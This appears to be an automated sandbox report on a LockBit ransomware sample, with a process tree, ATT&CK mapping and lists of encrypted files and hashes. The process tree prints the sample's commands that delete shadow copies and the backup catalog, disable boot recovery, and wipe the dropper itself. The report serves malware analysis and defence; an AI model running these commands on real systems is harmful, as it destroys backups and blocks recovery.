    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 37 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 58 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe
    "C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"
    1⤵
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5244
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:1480
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2100
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3848
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5888
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:2332
  • C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe
    "C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5692
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:4868
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5072
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4208
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3048
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:4268
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5808
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:6340
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.7 -n 3
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:6092
      • C:\Windows\SysWOW64\fsutil.exe
        fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Enumerates system info in registry
        PID:6484
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3744
  • C:\Windows\system32\wbengine.exe
    "C:\Windows\system32\wbengine.exe"
    1⤵
      PID:6032
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:2416
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:1448
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        1⤵
        • System Location Discovery: System Language Discovery
        PID:3492
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3152
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd6b80c728,0x7ffd6b80c734,0x7ffd6b80c740
          2⤵
            PID:2056
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,11942655771894053397,11345102394103574495,262144 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:2
            2⤵
              PID:7124
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1424,i,4935967113293178262,5158048281516890466,524288 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:11
              2⤵
              • System Time Discovery
              PID:4392
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2320,i,7961584792656876910,17397455507998553934,524288 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=2404 /prefetch:13
              2⤵
                PID:312
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3280,i,6071026171464867686,8285876649068293256,2097152 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:1
                2⤵
                  PID:2748
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3252,i,4392428353483069142,14300131934047136772,2097152 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
                  2⤵
                    PID:1272
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4716,i,10999217797072809865,578829306721066065,2097152 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
                    2⤵
                      PID:4040
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4852,i,17049463191649055306,5076347625137753278,524288 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:14
                      2⤵
                        PID:7020
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5400,i,2679641391196311278,6472081511717328003,524288 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
                        2⤵
                          PID:5944
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5500,i,16696214822344614296,15575311509489596477,2097152 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
                          2⤵
                            PID:2512
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5528,i,7508418335110907830,17309758260800198072,2097152 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
                            2⤵
                              PID:1108
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5792,i,6847958679210970944,12276466220833033921,2097152 --field-trial-handle=1832,i,10975800636645351898,13492991032393703519,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
                              2⤵
                                PID:5520
                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                              1⤵
                                PID:6592
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k GPSvcGroup
                                1⤵
                                  PID:1160
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  1⤵
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:6548
                                  • C:\Windows\explorer.exe
                                    explorer.exe /LOADSAVEDWINDOWS
                                    2⤵
                                    • Boot or Logon Autostart Execution: Active Setup
                                    • Enumerates connected drives
                                    • Checks SCSI registry key(s)
                                    • Modifies Internet Explorer settings
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SendNotifyMessage
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2300
                                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                  1⤵
                                  • Modifies registry class
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4048
                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                  1⤵
                                  • Modifies registry class
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4160

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Reconnaissance

                                      Resource Development

                                      Initial Access

                                      Execution

                                      Command and Scripting Interpreter

                                      2
                                      T1059

                                      Windows Command Shell

                                      1
                                      T1059.003

                                      Windows Management Instrumentation

                                      1
                                      T1047

                                      Persistence

                                      Boot or Logon Autostart Execution

                                      2
                                      T1547

                                      Active Setup

                                      1
                                      T1547.014

                                      Registry Run Keys / Startup Folder

                                      1
                                      T1547.001

                                      Privilege Escalation

                                      Boot or Logon Autostart Execution

                                      2
                                      T1547

                                      Active Setup

                                      1
                                      T1547.014

                                      Registry Run Keys / Startup Folder

                                      1
                                      T1547.001

                                      Defense Evasion

                                      Debugger Evasion

                                      1
                                      T1622

                                      Direct Volume Access

                                      1
                                      T1006

                                      Indicator Removal

                                      3
                                      T1070

                                      File Deletion

                                      3
                                      T1070.004

                                      Modify Registry

                                      4
                                      T1112

                                      Credential Access

                                      Discovery

                                      Browser Information Discovery

                                      1
                                      T1217

                                      Debugger Evasion

                                      1
                                      T1622

                                      Peripheral Device Discovery

                                      2
                                      T1120

                                      Query Registry

                                      4
                                      T1012

                                      Remote System Discovery

                                      1
                                      T1018

                                      System Information Discovery

                                      4
                                      T1082

                                      System Location Discovery

                                      1
                                      T1614

                                      System Language Discovery

                                      1
                                      T1614.001

                                      System Network Configuration Discovery

                                      2
                                      T1016

                                      Internet Connection Discovery

                                      1
                                      T1016.001

                                      System Time Discovery

                                      1
                                      T1124

                                      Lateral Movement

                                      Collection

                                      Command and Control

                                      Exfiltration

                                      Impact

                                      Defacement

                                      1
                                      T1491

                                      Inhibit System Recovery

                                      4
                                      T1490

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      EppManifest.dll.mui
                                      • Path C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui
                                      • Size 4KB
                                      • SHA256 6f5edce9b2e5b6b3467d4c28cca28e8bc63bbd2cbe42f4201144e45839151310
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      MpAsDesc.dll.mui
                                      • Path C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui
                                      • Size 62KB
                                      • SHA256 e33dca0a4dcb61041865b45e9ac7ea0d9a9260dc58554f4b1d4b676da42be297
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      Restore-My-Files.txt
                                      • Path C:\Program Files\dotnet\Restore-My-Files.txt
                                      • Size 1KB
                                      • SHA256 ad101bad32725d5a1c03a5018c5e16dac699424fb5e76a317c957b3bb07760d5
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      BLOCKCHECKPOINT.VSSM.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\BLOCKCHECKPOINT.VSSM.LOCKBIT
                                      • Size 287KB
                                      • SHA256 49a8eb046f88aa927bf77ead1103f1cb9406eac40318e6abe2c054b48b6de3fd
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      CHECKPOINTSTEP.MIDI.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\CHECKPOINTSTEP.MIDI.LOCKBIT
                                      • Size 412KB
                                      • SHA256 0bfddb5408e14c790e7fbe76879372a405d41160bf6805652bf9ad822bd32dfe
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      CLEARRESET.AVI.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\CLEARRESET.AVI.LOCKBIT
                                      • Size 572KB
                                      • SHA256 0180653833bc7272d90f8c1b5dd2b772e1321bccba0d8e99b395a0bc0d457bf6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      CLEARTRACE.XLSX.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\CLEARTRACE.XLSX.LOCKBIT
                                      • Size 13KB
                                      • SHA256 35c80d1b23a832d18554ca5e9000c6621ae5c625e9e3afdf364ad6e8fc9afd9d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      CLOSEGET.VSDX.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\CLOSEGET.VSDX.LOCKBIT
                                      • Size 328KB
                                      • SHA256 ad2f47d72f1f4f5bccca91fd4a7c0b4c14c94fa2220e78b61bce1158bd801f9e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      CONVERTFROMENABLE.TTF.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\CONVERTFROMENABLE.TTF.LOCKBIT
                                      • Size 245KB
                                      • SHA256 aab8663e9a76337874b62070ef13969c5e1f61c53deb29d76c6da1c30e5312fe
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      COPYWRITE.CSV.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\COPYWRITE.CSV.LOCKBIT
                                      • Size 342KB
                                      • SHA256 90d01ad089194cfb44f51067d42d2743ff1d083ed070e5a3501564a61c8b14f2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      EXITSELECT.SQL.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\EXITSELECT.SQL.LOCKBIT
                                      • Size 370KB
                                      • SHA256 ee6b9c626d61e7e4dc2ba7f31243c8f92898a22ebe48b2c9e462da944c5ac59b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      GETSEND.GIF.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\GETSEND.GIF.LOCKBIT
                                      • Size 273KB
                                      • SHA256 15e94b5e9346d241266d12adf7ced1b26b763f999ec8d16844ec57033fd3d497
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      IMPORTOUT.3GP2.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\IMPORTOUT.3GP2.LOCKBIT
                                      • Size 217KB
                                      • SHA256 64a3dbcca412923d96d660380729a99d07444c3b35e7663ef0adb93c68c9f357
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      LIMITSHOW.DWG.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\LIMITSHOW.DWG.LOCKBIT
                                      • Size 259KB
                                      • SHA256 4752485d0d2073786d9d91fccf315bd764643c9c85699ea9637fcc9b41963806
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      PINGOPEN.XLTX.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\PINGOPEN.XLTX.LOCKBIT
                                      • Size 398KB
                                      • SHA256 bd8dfb2eb7887eb504842fdfaaf66798effe8b7e0314a62d8d3d70318538eb66
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      READUNPUBLISH.JFIF.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\READUNPUBLISH.JFIF.LOCKBIT
                                      • Size 161KB
                                      • SHA256 7e7f06bfae66a3ac78bcb81ce191b3afbe9377fd05631808008e5a81f9d73d21
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      RECEIVEJOIN.VSDX.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\RECEIVEJOIN.VSDX.LOCKBIT
                                      • Size 189KB
                                      • SHA256 e7bd9fcef7cafcc65dc613338fa53615e27ca042543b23d1025cc70031246492
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      SAVEAPPROVE.XLSX.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\SAVEAPPROVE.XLSX.LOCKBIT
                                      • Size 203KB
                                      • SHA256 6bd5f287644de9b1d70e7d8c9f2757823d2c63f8073177710a28ad997402807d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      SEARCHDISCONNECT.JPG.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\SEARCHDISCONNECT.JPG.LOCKBIT
                                      • Size 356KB
                                      • SHA256 dd441f7414703898105698dc36b35369a47b22fd9f5b4c95cc394d86ced894dc
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      SENDPUSH.PNG.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\SENDPUSH.PNG.LOCKBIT
                                      • Size 175KB
                                      • SHA256 85817e74f68febc6d428688f34987e3eeb40cbfa36ca2d09bf03881bf3a7aadf
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      SETSAVE.TIFF.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\SETSAVE.TIFF.LOCKBIT
                                      • Size 147KB
                                      • SHA256 6f59d8d60d8743aeb73c021eb49134710cd7c02a7aae12e9d6bff74b1929808d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      SPLITRENAME.WPL.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\SPLITRENAME.WPL.LOCKBIT
                                      • Size 384KB
                                      • SHA256 b5c87ea27116fc7250e7d75dac00179e62313f21407abc4e69c77fbc63450c5b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      STOPRESTART.NFO.LOCKBIT
                                      • Path C:\USERS\ADMIN\DESKTOP\STOPRESTART.NFO.LOCKBIT
                                      • Size 301KB
                                      • SHA256 ed7a3f7231771ec60f3fdc3ec936be3e82f25a90d2da570058e592e75991d2ff
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      3627240e-9694-44a0-ae95-0a22d9e9bd77.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\3627240e-9694-44a0-ae95-0a22d9e9bd77.tmp
                                      • Size 4KB
                                      • SHA256 32e9f4cbebc30395fc2aaf179c1bc2a99cd1df1f4eca4a0f287aa7c8ce12761e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      settings.dat
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                      • Size 40B
                                      • SHA256 685b74ac6b47cc67ae7434a98329f9111a7b5c168707e70b55be1a68d729ec12
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      53692f91-db1b-49b0-9f1a-82bda0d0356f.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\53692f91-db1b-49b0-9f1a-82bda0d0356f.tmp
                                      • Size 6B
                                      • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      93524cbe-9043-4dd6-8c71-43ad78cc20c3.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\93524cbe-9043-4dd6-8c71-43ad78cc20c3.tmp
                                      • Size 9KB
                                      • SHA256 e0d19459d1c41a7265583ecaf763a56d411ba187b6e0dc71a2d2013b43f262f9
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      3525f0c8-3660-4ce4-8a00-ca493bbfce06.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\3525f0c8-3660-4ce4-8a00-ca493bbfce06.tmp
                                      • Size 2B
                                      • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      52b5925e-6507-4ef9-be23-d4f2a8032d7c.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\52b5925e-6507-4ef9-be23-d4f2a8032d7c.tmp
                                      • Size 356B
                                      • SHA256 3792fb21dc12b06268ebb1ae4da8e153b3c4f5fa53c2d658cb978c9b14da2ccd
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      c380898f-6c49-4c1e-a498-63792a7a6ecd.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\c380898f-6c49-4c1e-a498-63792a7a6ecd.tmp
                                      • Size 1KB
                                      • SHA256 52af4f548ad2490244f863df963533d026eb925533a233799c1ca55822c99ae1
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      b8c73ed7-a329-48d2-a5ec-68a7936579a5.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\b8c73ed7-a329-48d2-a5ec-68a7936579a5.tmp
                                      • Size 11KB
                                      • SHA256 ec2c5059223388167fe05354fca2fb8c8a8d8b10ae6800f3692ae7615f6b5022
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      data_1
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1
                                      • Size 264KB
                                      • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      d4bed3a8-6fb3-4181-8725-8b039db3f1a3.tmp
                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\d4bed3a8-6fb3-4181-8725-8b039db3f1a3.tmp
                                      • Size 5KB
                                      • SHA256 ac2e0aa2024688e2167a79607175b2a598fce0a8203021a801e25e3f9aad9fcb
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      prep_Activatable Class_Hermes_perf.cache
                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                      • Size 603B
                                      • SHA256 76051c7134ef5b2b172ae67cc7317ea11daedcc3d11f55c52922e505f501568b
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      prep_Activatable Class_Hermes_perf.cache
